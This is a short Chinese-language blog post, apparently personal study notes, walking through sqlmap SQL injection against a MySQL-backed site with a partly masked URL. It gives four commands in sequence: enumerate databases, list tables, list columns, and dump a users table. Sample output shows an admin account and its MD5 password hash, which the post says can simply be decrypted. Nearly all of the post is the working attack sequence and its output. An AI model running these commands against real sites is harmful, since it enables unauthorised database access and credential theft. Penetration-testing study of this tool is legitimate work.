sqlmap学习笔记之MySQL注入

1.判断一个url是否存在注入点:

   .sqlmap.py -u "http://abcd****efg.asp?id=7" -dbs

假设找到数据库:student

 ------------------------------
  available databases[1]

  [*] student
 ------------------------------

2.获取数据库中的表名:

   .sqlmap.py -u "http://abcd****efg.asp?id=7" -D student --tables

假设找到表名:users

   -----------------------

  [INFO] retrieved:users

   -----------------------

3.获取表中的字段名:

  .sqlmap.py -u "http://abcd****efg.asp?id=7" -D student -T users --columns

假设获取出字段为:id username password

---------------------------------
  [INFO] retrieved:       id
  [INFO] retrieved:       int(3)
  [INFO] retrieved:       username
  [INFO] retrieved:       varchar(30)
  [INFO] retrieved:       password
  [INFO] retrieved:       varchar(30)
----------------------------------

4.猜字段内容:

    .sqlmap.py -u "http://abcd****efg.asp?id=7" -D student -T users -C id,username,password --dump

获取结果:

  [INFO] retrieved:       1
  [INFO] retrieved:       admin
  [INFO] retrieved:       21232f297a57a5a743894a0e4a801fc3  (32位MD5加密密文)

账号:admin 密码:将密文解密即可。

Last modification:July 11th, 2018 at 09:45 pm
If you think my article is useful to you, please feel free to appreciate

Leave a Comment